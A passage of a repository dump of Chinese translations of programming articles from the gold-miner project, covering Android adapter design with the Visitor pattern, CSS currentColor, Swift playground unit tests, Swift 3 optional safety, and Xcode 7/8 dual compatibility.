}\n\n\n\n\n所以你可以简单包装下 model ,完全不需要修改它们，然后在新的 ViewModel 中保留它对应的 model ，这样你还可以添加所有的逻辑代码并且还能使用 Android 最新的 [Data Binding Library](https://developer.android.com/topic/libraries/data-binding/index.html)。\n\n\n在 adapter 里使用 ViewModel list 而不是 Model 的这个点子很有用，尤其是当你需要额外添加的 item 的时候，类似 divider ，header或者只是广告 item。\n\n\n这是解决这个问题的一个方法，但不是唯一的一个。\n\n\n### 访问者模式\n\n\n让我们回归原点，只使用 Model。假如你有许多的 model 类，不想为每一个 model 创建对应的 ViewModel。想想最开始 model 里的 type() 方法，这个过程缺失了必要的解耦。要避免在 model 里直接写入 presenter 层的代码，间接的使用它，把实际的类型信息迁移到其他地方。那么不如在 type() 方法里添加一个接口：\n\n    interface Visitable {\n        fun type(typeFactory: TypeFactory) : Int\n        }\n\n\n\n现在你可能会问你在这里这样做有什么好处，因为工厂方法仍然需要给不同的 item 类型分流，就像在最开始的时候 adapter 做的一样，是这样么？\n\n\n不，这完全不一样！这个方法是建立在[访问者模式](https://en.wikipedia.org/wiki/Visitor_pattern)之上的，一个典型的[四人帮设计模式](https://en.wikipedia.org/wiki/Design_Patterns)。所有的 model 都会调用如下方法：\n\n    interface Animal : Visitable\n        interface Car : Visitable\n\n    class Mouse: Animal {\n        override funtype(typeFactory: TypeFactory)\n            = typeFactory.type(this)\n            }\n\n\n\n这个工厂方法拥有你需要的变化：\n\n    interface TypeFactory {\n        fun type(duck: Duck): Int\n        fun type(mouse: Mouse): Int\n        fun type(dog: Dog): Int\n        fun type(car: Car): Int\n        }\n\n\n\n这种方式是完全的类型安全，没有 instance-of 检查，也根本不需要转型。\n\n这个工厂方法的责任是明确的：它知道所有的 view  类型：\n\n\n    class TypeFactoryForList : TypeFactory {\n        override fun type(duck: Duck) = R.layout.duckoverride fun type(mouse: Mouse) = R.layout.mouse    \n        override fun type(dog: Dog) = R.layout.dogoverride fun type(car: Car) = R.layout.car\n\n\n\n\n我也可以创建 ViewHolder 在某个地方持有关于布局 id 的信息。所以当添加一个新 view  的时候，这个地方也跟着添加。这是相当符合 SOLID 原则的。你可能需要为新的类型创建另一个方法，但是不修改任何存在的方法：对扩展开放，对修改封闭。\n\n\n\n现在你可能会问:为什么不直接在 adapter 里使用工厂方法而是间接的使用 model 呢？通过这个方式你可以不需要转型和类型检查就可以确保类型安全。花点时间在这里实现它，这不是一个需要的转型！间接引用正是访问者模式背后的魔法。\n\n\n通过这个方法使得 adapter 拥有一个非常通用的实现，并且几乎不需要变化。\n\n\n### 结论\n\n\n\n*   尽力保持你的 presenter 层代码干净。\n*   Instance-of 检查应该是一个警告标志，尽量不要使用!\n*   注意向下转型，因为这是坏代码的味道.\n*   尽量把上面两个替换成正确的面向对象用法。考虑下接口和继承。\n*   尽量使用通用的方式来避免转型。\n*   使用 ViewModel。\n*   检查访问者模式的使用方式。\n\n我很乐意了解到更多其他的想法来使我们的 adapter 保持整洁。\n"
  },
  {
    "path": "TODO/writing-better-css-with-currentcolor.md",
    "content": "> * 原文地址：[Writing better CSS with currentColor](https://hashnode.com/post/writing-better-css-with-currentcolor-cit5mgva31co79c53ia20vetq)\n* 原文作者：[Alkshendra Maurya](https://hashnode.com/@alkshendra)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[yangzj1992](http://qcyoung.com)\n* 校对者： [linpu.li](https://github.com/llp0574), [Nicolas(Yifei) Li](https://github.com/yifili09)\n\n# 使用 currentColor 属性写出更好的 CSS 代码\n\n总有一些极其强大的 CSS 属性在目前已经有了很好的浏览器支持，但却很少被开发者使用。 `currentColor` 就是这样的属性之一。\n\nMDN 把 currentColor [定义为](https://developer.mozilla.org/en/docs/Web/CSS/color_value#currentColor_keyword):\n\n> `currentColor` 代表了当前元素被应用上的 color 颜色值。它允许让继承自属性或子元素属性的 color 属性为默认值而不再继承。\n\n在本文中，我们将通过一些有趣的方式来概述如何使用 CSS `currentColor` 这一关键字。\n\n* * *\n\n## 介绍\n\n`currentColor` 关键字按某种规则获取了 color 属性的值并赋值给了自身。\n\n在任何你想要默认继承 `color` 属性值的地方都可以使用 `currentColor` 这一关键字。这样当你改变 `color` 关键字的属性值时，它会自动的通过规则反映在所有 `currentColor` 关键字使用的地方。这难道不是很棒吗？😀\n\n    .box {\n        color: red;\n        border 1px solid currentColor;\n        box-shadow: 0 0 2px 2px currentColor;\n    }\n\n在上面的代码片段里，你可以看到我们不是在所有的地方都重复相同的 color 值，而是用 currentColor 来代替。这使得 CSS 变得更加容易管理，你将不再需要在不同的地方来追踪 color 值\n\n* * *\n\n## 各种用法\n\n来看一下 `currentColor` 可能的用例和例子:\n\n**简化 color 定义**\n\n像链接，边框，图标以及阴影的值总是随着它们的父元素 color 值保持一致，这可以通过简化的 currentColor 来替换一遍又一遍的特定 color 值；从而使代码更加易于管理。\n\n例如:\n\n    .box {\n        color: red;\n    }\n    .box .child-1 {\n        background: currentColor;\n    }\n    .box .child-2 {\n        color: currentColor;\n        border 1px solid currentColor;\n    }\n\n在上面的代码片段中，你可以看到我们不是在边框、阴影上指定一个颜色，而是在这些属性上使用了 `currentColor`，这将使它们自动变为 `red`。\n\n**简化过渡和动画**\n\ncurrentColor 可以使 transitions 和 animations 变得更加简单。\n\n让我们考虑一下最早的代码示例，并且改变一下 hover 时的 `color` 值\n\n    .box:hover {\n        color: purple;\n    }\n\n这里，我们不需要再在 `:hover` 里写三个不同的属性，我们只需改变 `color` 值；所有使用 `currentColor` 的属性会自动在 hover 时发生改变。\n\n**在伪元素上使用**\n\n像是`:before` 和 `:after` 这样的伪元素也同样可以通过用 currentColor 来获取它的父元素的值。这就可以用于创建带有动态颜色的『提示框』，或是使用 body 颜色的『覆盖层』，并给它一个半透明的效果。\n\n    .box {\n        color: red;\n    }\n    .box:before {\n        color: currentColor;\n        border: 1px solid currentColor;\n    }\n\n这里，`:before` 伪元素的 `color` 和 `border-color` 会从父元素 div 中获得并可以被组建成类似提示框的东西。\n\n**在 SVG 中使用**\n\nSVG 中 `currentColor` 的值同样可以从父元素中获取。当你在不同地方应用 SVG 并想从父元素中继承 color 值而又不想每次明确提及时，使用它是相当有帮助的。\n\n    svg {\n        fill: currentColor;\n    }\n\n在这里，svg 将会使用与它父元素相同的填充颜色，并且会动态的随着父元素颜色的修改而发生变化。\n\n**在渐变中使用**\n\n`currentColor` 可以同样用于创建 CSS 渐变，其中渐变属性的一部分可以被设置成父元素的 `currentColor` 。\n\n    .box {\n        background: linear-gradient(top bottom right, currentColor, #FFFFFF);\n    }\n\n在这里，**顶部**的渐变颜色将会总是与父元素保持一致。虽然在这种情况下只会有一个动态颜色的限制，但对基于父元素颜色来生成动态的渐变来说，这仍然是一个简洁的方法。\n\n这儿有一个 [Codepen 示例](http://codepen.io/alkshendra/pen/xEVrJJ?editors=1100#0)来演示上述的所有例子。\n\n* * *\n\n## 浏览器支持\n\nCSS `currentColor` 是从 CSS3 引入 SVG 规范时产生的，自 2003 年以来一直存在。因此浏览器对 `currentColor` 的支持是很可靠的，除了 IE8 和一些更低版本的浏览器。\n\n下面这张图展示了目前有关浏览器支持情况的信息，信息来自 [caniuse.com](http://caniuse.com/#feat=currentcolor):\n\n![currentColor Support](https://res.cloudinary.com/hashnode/image/upload/v1474021764/g03f4hx1ftb0frtoonfw.png)\n\n* * *\n\n## 结论\n\nCSS `currentColor` 尽管是一个很好的特性，但还尚未得到充分运用。它提供了很棒的支持并带来了相当的可能性来使你保持你的代码更加的整洁。\n\n尽管 CSS 变量有它自己的方式，但是养成使用 `currentColor` 的习惯还是很酷的。\n\n这只是一个我发现的很有趣的简单的话题，如果有人也对此话题感兴趣。请让我知道你的想法并在下面留言！😊\n\n"
  },
  {
    "path": "TODO/writing-unit-tests-in-a-swift-playground.md",
    "content": "> * 原文地址：[Writing unit tests in Swift playgrounds](https://www.swiftbysundell.com/posts/writing-unit-tests-in-a-swift-playground)\n> * 原文作者：[John](https://twitter.com/johnsundell)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/writing-unit-tests-in-a-swift-playground.md](https://github.com/xitu/gold-miner/blob/master/TODO/writing-unit-tests-in-a-swift-playground.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[94haox](https://github.com/94haox)\n\n# 在 Swift playground 中编写单元测试\n\nSwift playground 对于[试用新的 framework](https://github.com/johnsundell/testdrive)、[探索语言的新特性](https://github.com/ole/whats-new-in-swift-4)来说十分有用。它提供的实时反馈能让你快速尝试新的想法与解决方案，大大提高生产力。\n\n自 Swift 问世以来，无论是设计 framework API，还是给 app 开发新功能，我一直在不停地使用 playground，希望找到将它整合进工作流的办法。\n\n本周，让我们来了解如何将 Swift playground 应用于编写单元测试，以及如何让 [TDD - 测试驱动开发](https://en.wikipedia.org/wiki/Test-driven_development)（ish）工作流变得更加顺畅。\n\n## 基础\n\n实际上在 playground 编写测试与编写 test target 基本一致。你可以先导入 `XCTest`，然后创建测试用例，例如：\n\n```swift\nimport Foundation\nimport XCTest\n\nclass UserManagerTests: XCTestCase {\n    var manager: UserManager!\n\n    override func setUp() {\n        super.setUp()\n        manager = UserManager()\n    }\n\n    func testLoggingIn() {\n        XCTAssertNil(manager.user)\n\n        let user = User(id: 7, name: \"John\")\n        manager.login(user: user)\n        XCTAssertEqual(manager.user, user)\n    }\n}\n```\n\n## 如何访问你的代码\n\n不过，如果你还没有实现直接在 playground 中测试的代码，那么在刚开始时访问代码可能会有点麻烦。你必须根据代码的来源（ app 还是 framework ），而选择不同的方式来访问将要测试的代码\n\n**测试 app 代码**\n\n由于可以在编写 playground 时不直接导入 app target，因此可以使用下面的几种方法测试 app 代码：\n\n**1) 复制代码** 这大概是最简单的方法了。将想测试的代码复制至 playground 运行，最后再拷回去。这个方法简单粗暴。\n\n**2) 复制文件** 如果你不想直接将要测试的代码放到 playground 中，也可以将需要的源文件复制到 playground 的 `Sources` 目录中（使用 `⌘ + 0` 显示 organizer，然后将文件拖进去）。接下来同上，在运行测试之后再将改变后的文件拷回覆盖源文件。\n\n**3) 创建 framework target** 如果你讨厌复制文件，你也可以创建一个包含需要测试代码的 framework。在 Xcode 中创建一个新的 framework（或使用 [**SwiftPlate**](https://github.com/johnsundell/swiftplate) 创建一个跨平台 framework），接着按照下面的步骤操作。\n\n**测试 framework 代码**\n\n你可以通过以下操作将任意 framework 加入 playground：\n\n* 将 framework 的 Xcode 工程拖入 playground 的 organizer 中。\n* 系统将提示你将 playground 保存为一个工作区，照做即可（请注意不要将 playground 的内部工作区覆盖掉，而应该在 playground 文件夹外去创建一个新的工作区）。\n* 打开此工作区。\n* 选择你的 framework 的 scheme，对其进行构建。\n* 现在，可以 `import` 你的 framework，开始编码了！\n\n如果你希望自动执行上述操作，可以使用我写的脚本 - [**Playground**](https://github.com/johnsundell/playground)，它能让你通过一行命令完成上述除了 framework 的构建与 import 之外的所有操作：\n\n```bash\n$ playground -d /Path/To/Framework/Project.xcodeproj\n```\n\n## 运行测试\n\n现在已经可以访问需要测试的代码了，并且我们还为其编写好了一个测试用例。现在试着运行这个测试用例！\n 🚀\n\n在一般的 test target 中，你一般会使用 `⌘ + U` 来运行你的测试；但在 playground 中，我希望 Xcode 能自动运行测试（以获得舒爽的实时反馈）。最简单的实现方式就是为你的测试用例运行 `defaultTestSuite`，如下所示：\n\n```swift\nUserManagerTests.defaultTestSuite().run()\n```\n\n执行上面的操作会运行测试，并将测试结果转储至控制台（可使用 `⌘ + ⇧ + C` 呼出）。这样做虽然没问题，但很容易错过错误信息。为此，可以创建一个测试观察者（test observer），在测试发生错误时触发一个断言失败（assertionFailure）错误：\n\n```swift\nclass TestObserver: NSObject, XCTestObservation {\n    func testCase(_ testCase: XCTestCase,\n                  didFailWithDescription description: String,\n                  inFile filePath: String?,\n                  atLine lineNumber: UInt) {\n        assertionFailure(description, line: lineNumber)\n    }\n}\n\nlet testObserver = TestObserver()\nXCTestObservationCenter.shared().addTestObserver(testObserver)\n```\n\n在开始测试出现失败时，我们将看到编辑器提示一个行内错误 🎉\n\n**如果你用的是 Swift 4，需要将上面的代码改成下面这样：**\n\n```swift\nclass TestObserver: NSObject, XCTestObservation {\n    func testCase(_ testCase: XCTestCase,\n                  didFailWithDescription description: String,\n                  inFile filePath: String?,\n                  atLine lineNumber: Int) {\n        assertionFailure(description, line: UInt(lineNumber))\n    }\n}\n\nlet testObserver = TestObserver()\nXCTestObservationCenter.shared.addTestObserver(testObserver)\nUserManagerTests.defaultTestSuite.run()\n```\n\n## 总结\n\n虽然需要额外做一些设置，但我还是很喜欢使用 Swift playground 进行单元测试。我觉得这样通过快速的反馈并轻松进行修改，更加接近理想中的[红绿重构](http://blog.cleancoder.com/uncle-bob/2014/12/17/TheCyclesOfTDD.html)。这也可以构建更健壮的测试与更高的测试覆盖率。\n\n我个人倾向于为正在开发的 app 与 framework 准备好一个 playground，以便更轻松地深入调试。此外，我还倾向于围绕 framework 构建 app，这样只需简单将代码引入 playground 就能开始编码。我会在之后的博文中讨论这些结构与设置的细节。\n\n你怎么看？你是否准备使用 playground 进行单元测试？或者你是否在尝试其它方法？请通过评论或 Twitter [@johnsundell](https://twitter.com/johnsundell) 让作者知道你的意见、问题与反馈。\n\n感谢您的阅读 🚀\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/wwdc-2016-increased-safety-in-swift-3.md",
    "content": ">* 原文链接 : [WWDC 2016: Increased Safety in Swift 3.0](https://www.bignerdranch.com/blog/wwdc-2016-increased-safety-in-swift-3/)\n* 原文作者 : [\nMatt Mathias](https://www.bignerdranch.com/about-us/nerds/matt-mathias/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zheaoli](https://github.com/Zheaoli)\n* 校对者: [llp0574](https://github.com/llp0574), [thanksdanny](https://github.com/thanksdanny)\n\n# WWDC 2016：更加安全的 Swift 3.0 \n\n在 **Swift** 发布之后，**Swift** 的开发者一直在强调，安全性与可选择类型是 **Swift** 最为重要的特性之一。他们提供了一种'nil'的表示机制，并要求有一个明确的语法在可能为'nil'的实例上使用。\n\n可选择类型主要以下两种:\n\n1.  `Optional`\n2.  `ImplicitlyUnwrappedOptional`\n\n第一种做法是一种安全的做法：它要求我们去拆解可选类型变量是为了访问基础值。第二种做法是一种不安全的做法：我们可在不拆解可选择类型变量的情况下直接访问其底层值。比如，如果在变量值为 `nil` 的时候，使用 `ImplicitlyUnwrappedOptional` 可能会导致一些异常。\n\n下面将展示一个关于这个问题的例子：\n\n\n~~~Swift\n\n    let x: Int! = nil\n    print(x) // Crash! `x` is nil!\n\n~~~\n\n在 **Swift 3.0** 中，苹果改进了 `ImplicitlyUnwrappedOptional` 的实现，使其相对于以前变得更为安全。这里我们不禁想问，苹果到底在 **Swift 3.0** 对 `ImplicitlyUnwrappedOptional` 做了哪些改进，从而使 **Swift** 变得更为安全了呢。答案在于，苹果在编译器对于 `ImplicitlyUnwrappedOptional` 进行类型推导的过程中进行了优化。\n\n## 在 **Swift 2.x** 中的使用方式\n\n让我们来通过一个例子来理解这里面的变化。\n\n\n~~~Swift\n    struct Person {\n        let firstName: String\n        let lastName: String\n\n        init!(firstName: String, lastName: String) {\n            guard !firstName.isEmpty && !lastName.isEmpty else {\n                return nil\n            }\n            self.firstName = firstName\n            self.lastName = lastName\n        }\n    }\n~~~\n\n\n这里我们创建了一个初始化方法有缺陷的结构体 `Person` 。如果我们在初始化中不给实例提供 `first name` 和 `last name` 的值的话，那么初始化将会失败。\n\n在这里 `init!(firstName: String, lastName: String)` ，我们通过使用 `!` 而不是 `?` 来进行初始化的。不同于 **Swift 3.0**，在 **Swift 2.x** 中，我们用过利用 `init!` 来使用 `ImplicitlyUnwrappedOptional` 。不管我们所使用的 `Swift` 版本如何，我们应该谨慎的使用 `init!`。一般而言，如果你能允许在引用生成的为nil的实例时所产生的异常，那么你可以使用 `init!` 。因为如果对应的实例为 `nil` 的时候，你使用 `init!` 会导致程序的崩溃。\n\n在 '.*' 中，这个初始化方法将会生成一个 `ImplicitlyUnwrappedOptional<Person>` 。如果初始化失败，所有基于 `Person` 的实例将会产生异常。\n\n比如，在 **Swift 2.x** 里，下面这段代码在运行时将崩溃。\n\n\n~~~Swift\n    // Swift 2.x\n\n    let nilPerson = Person(firstName: \"\", lastName: \"Mathias\")\n    nilPerson.firstName // Crash!\n\n~~~\n\n请注意，由于在初始化器中存在着隐式解包，因此我们没有必要使用类型绑定（译者注1： `optional binding` ）或者是自判断链接（译者注2： `optional chaining` ）来保证 `nilPerson` 能被正常的使用。\n\n## 在 **Swift 3.0** 里的新姿势\n\n在 **Swift 3.0** 中事情发生了一点微小的变化。在 `init!` 中的 `!` 表示初始化可能会失败，如果成功进行了初始化，那么生成的实例将被强制隐式拆包。不同于 **Swift 2.x** ，`init!` 所生成的实例是 `optional` 而不是 `ImplicitlyUnwrappedOptional` 。这意味着你需要针对不同的基础值对实例进行类型绑定或者是自判断链接处理。\n\n~~~Swift\n\n    // Swift 3.0\n\n    let nilPerson = Person(firstName: \"\", lastName: \"Mathias\")\n    nilPerson?.firstName\n\n~~~\n\n在上面这个示例中，`nilPerson` 是一个 `Optional<Person>` 类型的实例。这意味着如果你想正常的访问里面的值，你需要对 `nilPerson` 进行拆包处理。这种情况下，手动拆包是个非常好的选择。\n\n## 安全的类型声明\n\n这种变化可能会令人疑惑。为什么使用的 `init!` 的初始化会会生成 `Optional` 类型的实例？不是说在 `init!` 中的 `!` 表示生成 `ImplicitlyUnwrappedOptional` 么？\n\n答案是安全性与声明之间的依赖关系。在上面这段代码里（ `let nilPerson = Person(firstName: \"\", lastName: \"Mathias\")` ）将依靠编译器对 `nilPerson` 的类型进行推断。\n\n在 **Swift 2.x** 中，编译器将会把 `nilPerson` 作为 `ImplicitlyUnwrappedOptional<Person>` 进行处理。讲道理，我们已经习惯了这种编译方式，而且它在某种程度上也是有道理的。总之一句话，在 **Swift 2.x** 中，想要使用 `ImplicitlyUnwrappedOptional` 的话，就需要利用 `init!` 对实例进行初始化。\n\n然而，某种程度上来讲，上面这种做法是很不安全的。说实话，我们从没有任何钦定 `nilPerson` 应该是 `ImplicitlyUnwrappedOptional` 实例的意思，因为如果将来编译器推导出一些不安全的类型信息导致程序运行出了偏差，等于，你们也有责任吧。\n\n**Swift 3.0** 解决这类安全问题的方式是在我们不是明确的声明一个 `ImplicitlyUnwrappedOptional` 时，会将 `ImplicitlyUnwrappedOptional` 作为 `optional` 进行处理。\n\n## 限制 `ImplicitlyUnwrappedOptional` 的实例传递\n\n这种做法很巧妙的一点在于限制了隐式解包的 `optional` 实例的传递。参考下我们前面关于 `Person` 的代码，同时思考下我们之前在 **Swift 2.x** 里的一些做法：\n\n~~~Swift\n\n    // Swift 2.x\n\n    let matt = Person(firstName: \"Matt\", lastName: \"Mathias\")\n    matt.firstName // `matt` is `ImplicitlyUnwrappedOptional<person>`; we can access `firstName` directly</person>\n    let anotherMatt = matt // `anotherMatt` is also `ImplicitlyUnwrappedOptional<person>`</person>\n\n~~~\n\n`anotherMatt` 是和 `matt` 一样类型的实例。你可能已经预料到这种并不是很理想的情况。在代码里，`ImplicitlyUnwrappedOptional` 的实例已经进行了传递。对于所产生的新的不安全的代码，我们务必要多加小心。\n\n比如，在上面的代码中，我们如果进行了一些异步操作，情况会怎么样呢？\n\n\n~~~Swift\n    // Swift 2.x\n\n    let matt = Person(firstName: \"Matt\", lastName: \"Mathias\")\n    matt.firstName // `matt` is `ImplicitlyUnwrappedOptional<person>`, and so we can access `firstName` directly</person>\n    ... // Stuff happens; time passes; code executes; `matt` is set to nil\n    let anotherMatt = matt // `anotherMatt` has the same type: `ImplicitlyUnwrappedOptional<person>`</person>\n\n~~~\n\n在上面这个例子中，`anotherMatt` 是一个值为 `nil` 的实例，这意味着任何直接访问他基础值的操作，都会导致崩溃。这种类型的访问确切来说是 'ImplicitlyUnwrappedOptional' 所推荐的方式。那么我们如果把`anotherMatt` 换成 `Optional<Person>` ，情况会不会好一些呢？\n\n让我们在 **Swift 3.0** 中试试同样的代码会怎样。\n\n~~~Swift\n\n    // Swift 3.0\n\n    let matt = Person(firstName: \"Matt\", lastName: \"Mathias\")\n    matt?.firstName // `matt` is `Optional<person>`</person>\n    let anotherMatt = matt // `anotherMatt` is also `Optional<person>`</person>\n\n~~~\n\n如果我们没有显示声明我们生成的是 `ImplicitlyUnwrappedOptional` 类型的实例，那么编译器会默认使用更为安全的 `Optional`。\n\n## 类型推断应该是安全的\n\n在这个变化中，最大的好处在于编译器的类型推断不会使我们代码的安全性降低。如果在必要的情况下，我们选择的一些不太安全的方式，我们必须进行显示的声明。这样编译器不会再进行自动的判断。\n\n在某些时候，如果我们的确需要使用 `ImplicitlyUnwrappedOptional` 类型的实例，我们仅仅需要进行显示声明。\n\n~~~Swift\n    // Swift 3.0\n\n    let runningWithScissors: Person! = Person(firstName: \"Edward\", lastName: \"\") // Must explicitly declare Person!\n    let safeAgain = runningWithScissors // What's the type here?\n~~~\n\n\n`runningWithScissors` 是一个值为 `nil` 的实例，因为我们在初始化的时候，我们给 `lastName` 了一个空字符串。\n\n请注意，我们所声明的 `runningWithScissors` 实例是一个 `ImplicitlyUnwrappedOptional<Person>` 的实例。在 **Swift 3.0** 中，**Swift** 允许我们同时使用 `Optional` 和 `ImplicitlyUnwrappedOptional` 。不过我们必须进行显示声明，从而告诉编译器我们所使用的是 `ImplicitlyUnwrappedOptional` 。\n\n不过幸运的是，编译器不再自动将 `safeAgain` 作为一个 `ImplicitlyUnwrappedOptionalThankfully` 实例进行处理。相对应的是，编译器将会把 `safeAgain` 变量作为 `Optional` 实例进行处理。这个过程中，**Swift 3.0** 对不安全的实例的传播进行了有效的限制。\n\n## 一些想说的话\n\n`ImplicitlyUnwrappedOptional` 的改变可能是处于这样一种原因：我们通常在 **macOS** 或者 **iOS** 上操作利用 **Objective-C** 所编写的API，在这些API中，某些情况下，它们的返回值可能是为 `nil`，对于 **Swift** 来讲，这种情况是不安全的。\n\n因此，**Swift** 正在避免这样的不安全的情况发生。非常感谢 **Swift** 开发者对于 `ImplicitlyUnwrappedOptional` 所进行的改进。我们现在可以非常方便的去编写健壮的代码。也许在未来某一天，`ImplicitlyUnwrappedOptional` 可能会彻底的从我们视野里消失。=\n\n## 写在最后的话\n\n如果你想知道更多关于这方面的知识，你可以从这里[this proposal](https://github.com/apple/swift-evolution/blob/master/proposals/0054-abolish-iuo.md)获取一些有用的信息。你可以从 **issue** 里获得这个提案的作者的一些想法，同时通过具体的变化来了解更多的细节。同时那里也有相关社区讨论的链接。\n"
  },
  {
    "path": "TODO/xcode7-xcode8.md",
    "content": "> * 原文链接: [Simultaneous Xcode 7 and Xcode 8 compatibility](http://radex.io/xcode7-xcode8/)\n* 原文作者 : [Radek](http://radex.io/about/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [circlelove](http://github.com/circlelove)\n* 校对者 :  [yifili09](https://github.com/yifili09),  [MAYDAY1993](https://github.com/MAYDAY1993)\n\n# 等不及集成 iOS 10 新特性？如何在应用维护与新特性集成之间找到平衡点\n\n你是一位 iOS 开发者。你对于 iOS 10 带来的强大的新特性感到无比兴奋，想把这些在你的应用上实现。想要 _立刻_ 就上手，这样就可以在第一天就转移过去了。但是那是几个月开外的事情了，到时候你需要每隔几周装配正式版本到你的 app 上。这听起来像你吗？\n\n当然，你不能使用 Xcode 8 来编译你的正式——它不可能通过 App Store 审核。所以你将工程分成两个分支，一个是稳定版，另一个是为  iOS 10 开发……\n\n当然这很坑。分支在一段时间内一个特性下的工作是没有压力的。但是要在长达数月的时间里面维持巨大分支，版本变化遍布整个代码仓库，尽管主分支也在演进，你还是能挺住合并时候出现的惨痛的。我的意思是，你有没有尝试过解决 `.xcodeproj` 的合并冲突?\n\n本文当中，我会给你展示如何避免将分支全部合并在一起。对多数应用来说，可能有单个工程文件能够同时在 iOS 9 (Xcode 7) 和 iOS 10 (Xcode 8) 上编译。甚至说如果你结束了分支，这些技巧也能够帮你尽量减少两个分支的区别，同步起来就没那么费力了。\n\n## Swift 2.3 和你\n\n让我们直奔主题：\n\n我们对 Swift 3 感到十分兴奋，那太棒了，如果你在读这篇文章，_你不该还没有使用过它_。它可能就是那么伟大，进行了较大的源代码不兼容更改，比一年前的 Swift 2 大很多。如果你有任何的 Swift 依赖，他也需要在你的 app 完成前更新到 Swift 3 。\n\n有个好消息就是， Xcode8 第一次带有_两个_ Swift 版本：2.0 和3.0 。\n\n为了避免你错过通知， Swift 2.3 在 Xcode 7 里面和 Swift 2.2 是一样的语言，但是有些_小的_ API (之后会有更多)变化。\n \n所以！为了保证同步兼容，我们将使用 Swift 2.3 。\n\n## Xcode 配置\n\n但是那样对你来说太明显了。现在让我给你展示如何实际地配置你的 Xcode 项目使得它可以在两个版本下正常运行。\n\n### Swift 版本\n\n![](http://radex.io/assets/2016/xcode7-xcode8/BuildSettings.png)\n\n要开始了，在 Xcode 7 中打开你的项目。进入项目设置，打开创建设置标签，点击 “+” 添加一个 自定义设置：\n\n    “SWIFT_VERSION” = “2.3”\n\n这个选项是 Xcode 8 新添加的，所以尽管这会致使它使用 Swift 2.3 ， Xcode 7 （没有_真正_带有 Swift 2.3 ），就会完全略过它而继续利用 Swift 2.3 构建项目。\n\n###框架资源调配\n\n在框架资源调配方面 Xcode 8 做出了一些调整————他们可以继续为模拟器编译，但是无法为设备进行构建。\n\n为了修复它，检查所有框架目标的创建设置，添加这个选项，就像我们对 `SWIFT_VERSION` 操作的那样：\n\n    “PROVISIONING_PROFILE_SPECIFIER” = “ABCDEFGHIJ/“\n\n确保用你的团队 ID （你可以在 [苹果开发者门户](https://developer.apple.com/account/#/membership/) 里面找到）替代“ABCDEFGHIJ”。\n\n这基本上就是告诉 Xcode 8 “嘿，我来自这个团队，你照应下代码签名，好吗？” 。同样地， Xcode 7 也会忽略它，所以你是安全的。\n\n### 界面生成器\n\n浏览你所有的 `.xib` 和 `.storyboard` 文件，打开右侧边栏，找到第一个（文件检索）标签，找到“打开” 设置。\n\n多数情况下说是“默认（7.0）”。将它改为 “Xcode 7.0” 。这可以确保如果你建立了 Xcode 8 的文件，他只是改变那些和 Xcode 7 向后兼容的部分。\n\n我还是建议你谨慎使用 Xcode 8 改变 XIBs 。它会添加 Xcode version 版本的元数据（我不能保证当你上传到 App Store 的时候会不会去掉），有时也会尝试恢复文件为只适用 Xcode 8 的格式（这是个 bug ）。尽可能地从 Xcode 8 创建文件， 当你没法选择的时候，谨慎地审核 diff ，只提交你需要的代码行。\n\n### SDK 版本\n\n确定你的项目和所有目标都有为 “最新 iOS” 构建配置的“基础 SDK ”\n（这几乎是肯定的，但还应该再次检查一下）。这样， Xcode 7 可以为 iOS 9 进行编译，但是你也可以在 Xcode 8 下运行  iOS 10 的特性。\n\n###  CocoaPods 设置\n\n如果你使用 CocoaPods ，你也不得不更新 Pods 工程使其有正确的 Swift 来进行供应配置。\n\n不过不要手工操作，只要把后期安装的钩子加的你的 `Podfile` 上即可：\n\n\n```\npost_install do |installer|\n  installer.pods_project.build_configurations.each do |config|\n    # Configure Pod targets for Xcode 8 compatibility\n    config.build_settings['SWIFT_VERSION'] = '2.3'\n    config.build_settings['PROVISIONING_PROFILE_SPECIFIER'] = 'ABCDEFGHIJ/'\n    config.build_settings['ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES'] = 'NO'\n  end\nend\n```\n\n\n再次确认使用了你的团队 ID 替代  `ABCDEFGHIJ` 。之后运行 `pod install` 重新生成新的 Pods 工程。\n\n### 在 Xcode 8 之中打开。\n\n好的，时候差不多了：用  Xcode 8 打开你的工程。第一次操作的时候会被众多请求轰炸。\n\nXcode 会催促你更新到最新的  Swift 。拒绝。\n\nXcode 也会要求你按“推荐设置”更新工程。同样拒绝。\n\n记住，我们已经设置好了可以在两个版本上编译的工程。现在来说，为了保持同时兼容，最好的事情就是减少变化。更重要的是，我们不想让 `.xcodeproj` 包含任何有关 Xcode 8 的源数据，当我们用了同样的文件发往应用商店的时候。\n\n## 处理 Swift 2.3 差异\n\n正像我上面提到的那样， Swift 2.3 和 Swift 2.2 是同种_语言_。然而， iOS 10 SDK _框架_ 更新了他们的 Swift 解释。我并不是在讨论 [Grand Renaming](https://developer.apple.com/videos/play/wwdc2016/403/)（只能用于 Swift 3 ）————不过，名称、类型和许多可选的 API 都有少量的调整。\n\n### 条件式编译\n\n为了防止你忽略它， Swift 2.2 [介绍了](https://github.com/apple/swift-evolution/blob/master/proposals/0020-if-swift-version.md) 条件编译预处理宏。很容易使用：\n\n\n\n```\n#if swift(>=2.3)\n// this compiles on Xcode 8 / Swift 2.3 / iOS 10\n#else\n// this compiles on Xcode 7 / Swift 2.2 / iOS 9\n#endif\n```\n\n\n\n漂亮！一个文件，没有分支，实现在两个版本的 Xcode 